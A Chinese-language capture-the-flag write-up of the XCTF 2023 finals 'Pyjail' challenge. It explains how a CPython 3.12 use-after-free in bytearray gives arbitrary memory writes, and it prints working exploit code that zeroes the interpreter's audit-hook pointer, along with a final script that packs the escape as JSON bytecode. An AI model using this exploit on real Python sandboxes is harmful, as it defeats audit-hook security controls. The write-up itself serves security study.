[python3的UAF漏洞]XCTF-final Pyjail

发布于 2024-08-23  2362 次阅读


xctf-final Pyjail

XCTF2023总决赛的一道pyjail题,考点是利用python3的uaf漏洞修改内存,覆盖现有的函数,来进行绕过。

感觉掌握这个trick,在一些可以执行任意python的沙箱逃逸里会有用(吧)

参考了JBN的文章https://jbnrz.com.cn/index.php/2024/07/05/xctf-final-jail/
题目源码:

#!python3.12
# run on python 3.12.3
import sys
import os
import json

test_code = input("Enter the function in json: ")
sys.stdin.close()
if len(test_code) > 2533:
    exit(1)
test_code: json = json.loads(test_code)
del json

test_code["co_consts"] = tuple(tuple(a) if isinstance(
    a, list) else a for a in test_code["co_consts"])
test_code["co_names"] = tuple(tuple(a) if isinstance(
    a, list) else a for a in test_code["co_names"])
test_code["co_varnames"] = tuple(tuple(a) if isinstance(
    a, list) else a for a in test_code["co_varnames"])

def check_ele(ele, inner=False):
    if ele is None:
        pass
    elif isinstance(ele, int):
        # some random magic numbers w/o any meaning
        if ele not in range(-0xd000, 0x50000):
            exit(1)
    elif isinstance(ele, str):
        if any((ord(a) not in (list(range(ord('0'), ord('9') + 1)) + list(range(ord('a'), ord('z') + 1)) + list(range(ord('A'), ord('Z') + 1)) + [95])) for a in ele):
            exit(1)
        elif len(ele) > 242:
            exit(1)
    elif isinstance(ele, tuple):
        if inner:
            exit(1)
        for a in ele:
            check_ele(a, True)
        return
    else:
        exit(1)

for ele in test_code["co_consts"] + test_code["co_names"]:
    check_ele(ele)

del check_ele

def test(): pass

test.__code__ = test.__code__.replace(co_code=bytes.fromhex(test_code["co_code"]),
                                      co_consts=test_code["co_consts"],
                                      co_names=test_code["co_names"],
                                      co_stacksize=test_code["co_stacksize"],
                                      co_nlocals=test_code["co_nlocals"],
                                      co_varnames=test_code["co_varnames"])

del test_code

def auditHookHandler(e):
    def handler(x, _):
        if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
            e(1) # lolololololo
            while(1): pass
    return handler

sys.addaudithook(auditHookHandler(os._exit))
del sys

test()

# free flag?! :)
os.system("cat /flag")

总体逻辑是:接受一个json字符串,通过checkele进行简单过滤,取出其六个co...的值来修改test函数的__code__,从而修改test函数的行为,然后加上一个审计钩子,再执行test(相当于执行一个任意函数),然后再执行cat /flag命令输出flag

__code__即函数的代码对象,可以控制函数的行为

(co_code=bytes.fromhex(test_code["co_code"]), #函数的字节码指令
        co_consts=test_code["co_consts"], #用到的常量(数据)
        co_names=test_code["co_names"],#所有用到的名称符号
        co_stacksize=test_code["co_stacksize"],  #栈空间个数
        co_nlocals=test_code["co_nlocals"], #本地变量个数
        co_varnames=test_code["co_varnames"]) #本地变量名称

把函数转为题目要求的json:

def getjson(f):
    a=f.__code__;
    dic = {};
    for name in ["co_code","co_consts","co_names","co_stacksize","co_nlocals","co_varnames"]:
       if name == "co_code":
            dic[name] = eval("a."+name+".hex()");
       else:
            dic[name] = eval("a."+name);
    return json.dumps(dic);

有三个限制:
1.执行的函数的六个code属性必须是可以json.dumps的,像这样的函数就不能执行:

def a():
    def b():
        print(1)

2.对co_consts和co_names的长度和内容做了限制,只允许限定长度的数字字母下划线,并且列表不能超过两层

3(主要).加了审计钩子,限定了函数内只能进行属性的取值和赋值,以及new对象。这就导致函数内以及下一句的os.system("cat /flag")都会被钩子拦截而不能执行。

def auditHookHandler(e):
    def handler(x, _):
        if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
            e(1) # lolololololo
            while(1): pass
    return handler
sys.addaudithook(auditHookHandler(os._exit))

解法用到了python3.x版本的UAF(Use After Free)漏洞,即对以及释放的内存继续使用,会造成任意地址写

class UAF:
    def __index__(self):
        global memory
        uaf.clear()
        memory = bytearray()
        uaf.extend([0] * 56)
        return 1

uaf = bytearray(56)
uaf[23] = UAF()

这样获得的memory字节数组可以用于其他地址的赋值
如将整数30指向的内存修改为40:

class UAF:
    def __index__(self):
        global memory
        uaf.clear()
        memory = bytearray()
        uaf.extend([0] * 56)
        return 1

uaf = bytearray(56)
uaf[23] = UAF()
memory[id(30) + 24] = 40
print(30)

image_mak
同样这个bug也可以用来修改函数的行为:

class UAF:
    def __index__(self):
        global memory
        uaf.clear()
        memory = bytearray()
        uaf.extend([0] * 56)
        return 1
uaf = bytearray(56)
uaf[23] = UAF()

def f1():
    print(1)
def f2():
    print(2)

memory[id(f1) + 24:id(f1) + 64] = memory[id(f2) + 24:id(f2) + 64]
f1()

image_mak
那么,如果我们的函数可以拿到被实现的hook函数的地址,就可以从内存去修改或删除它,从而使钩子失效。
在github上有一个绕过audit的仓库:
python-audit_hook_head_finder
我们由于有钩子限制,肯定是不能引入ctype,因此这里用的是POC2-no-ctypes.py

#!audit_hook_head_finder

# sys for version check
import os, sys
from audit_hook_head_finder import add_audit

# ONLY TESTED ON PYTHON 3.12 and 3.11
# the offsets are from POC-no-ctypes-native.py
# the first two are ptr offsets
# the third is the offset to get the audit hook set by python
# the fourth is the offset to get the audit hook set by C
if sys.version_info[:2] == (3, 12):
    if sys.version_info[2] <= 3:
        PTR_OFFSET = [24, 48, 0x468f0, -0xc948] # <= 3.12.3
    else:
        PTR_OFFSET = [24, 48, 0x46920, -0xc948] # for python3.12.4
else:
    # there are multiple offsets for 3.11? check the result of POC-no-ctypes.py
    PTR_OFFSET = [24, 48, 0x4d558, 0x3e3d0]

add_audit()
sys.addaudithook((lambda x: lambda *args: x("audit hook triggered!", args))(print))

os.system("echo 'test audit hook -- this will trigger hook'")

# get addr from str helper func
getptr = lambda func: int(str(func).split("0x")[-1].split(">")[0], 16)

# following arbitery reading/writing exploit code from https://maplebacon.org/2024/02/dicectf2024-irs/
# improved by Maple Bacon
class UAF:
    def __index__(self):
        global memory
        uaf.clear()
        memory = bytearray()
        uaf.extend([0] * 56)
        return 1

uaf = bytearray(56)
uaf[23] = UAF()
# end of arbitery writing exploit code

# any function works here theoretically
ptr = getptr(os.system.__init__) + PTR_OFFSET[0]
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[1]

audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[2]
audit_hook_by_c = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[3]
memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8
memory[audit_hook_by_c:audit_hook_by_c + 8] = [0] * 8

os.system("echo 'test audit hook -- this will not'")

大概就是以函数os.system.__init__为基,偏移特定的量来定位到hook函数,最后将其内存地址赋值为0

题目环境是python 3.12.3,取PTR_OFFSET = [24, 48, 0x468f0, -0xc948]

我们的函数中,UAF类可以用type()来定义,再用UAF.__index__.__code\
_.replace来对__index\_函数赋值

先把函数写出来:这里replace用的就是demo中的__index__方法,先让UAF类的__index__为一个别的自定义函数,再去用__code__改它:

def a(a):
    pass
def exp():
    global memory,uaf
    UAF = type("UAF",(object,),{"__index__":a})
    UAF.__index__.__code__ = UAF.__index__.__code__.replace(co_code = bytes.fromhex("9700740000000000000000006a03000000000000000000000000000000000000ab00000000000000010074050000000000000000ab000000000000006103740000000000000000006a090000000000000000000000000000000000006401670164027a050000ab0100000000000001007903"),
                                                            co_consts = (None, 0, 56, 1),
                                                            co_names = ("uaf", "clear", "bytearray", "memory", "extend"),
                                                            co_stacksize = 4,
                                                            co_nlocals = 1,
                                                            co_varnames = ("self",)
                                                            )
    uaf = bytearray(56)
    uaf[23] = UAF()

    getptr = lambda func: int(str(func).split("0x")[-1].split(">")[0], 16)

    ptr = getptr(os.system.__init__) + 24
    ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 48

    audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + 0x468f0
    memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8

没打成功,几个小细节需要改:

1.待修改的__index__在定义时用的函数(上面的a函数)必须是题目已有的,而题目在执行test的时候把除了auditHookHandler的函数都del了,因此只能用auditHookHandler(改改名字就行)

2.由于json.dumps限制,函数内是不能再定义函数的,因此手动实现getptr即可

ptr = int(str(os.system.__init__).split("0x")[-1][:-1:],16)+24

3.check_ele函数限制了co_consts的值,因此不能出现原POC中的">"以及列表PTROFFSET,要换一个对os.system.__init\_字符串切片的方式,并直接把PTR_OFFSET的值取出来用就可以了(这个上面已经改好了)

4.要在linux上跑,用题目同版本python(不同不知道行不行)

最终exp:

import json

def getjson(f):
    a=f.__code__;
    dic = {};
    for name in ["co_code","co_consts","co_names","co_stacksize","co_nlocals","co_varnames"]:
       if name == "co_code":
            dic[name] = eval("a."+name+".hex()");
       else:
            dic[name] = eval("a."+name);
    return json.dumps(dic);

def auditHookHandler(e):
    pass
def exp():
    global memory,uaf
    UAF = type("UAF",(object,),{"__index__":auditHookHandler})
    UAF.__index__.__code__ = UAF.__index__.__code__.replace(co_code = bytes.fromhex("9700740000000000000000006a03000000000000000000000000000000000000ab00000000000000010074050000000000000000ab000000000000006103740000000000000000006a090000000000000000000000000000000000006401670164027a050000ab0100000000000001007903"),
                                                            co_consts = (None, 0, 56, 1),
                                                            co_names = ("uaf", "clear", "bytearray", "memory", "extend"),
                                                            co_stacksize = 4,
                                                            co_nlocals = 1,
                                                            co_varnames = ("self",)
                                                            )
    uaf = bytearray(56)
    uaf[23] = UAF()

    ptr = int(str(os.system.__init__).split("0x")[-1][:-1:],16)+24
    ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 48

    audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + 0x468f0
    memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8
# def f():
#     pass

print(getjson(exp))

image_mak

A web ctfer from 0RAYS
最后更新于 2024-08-24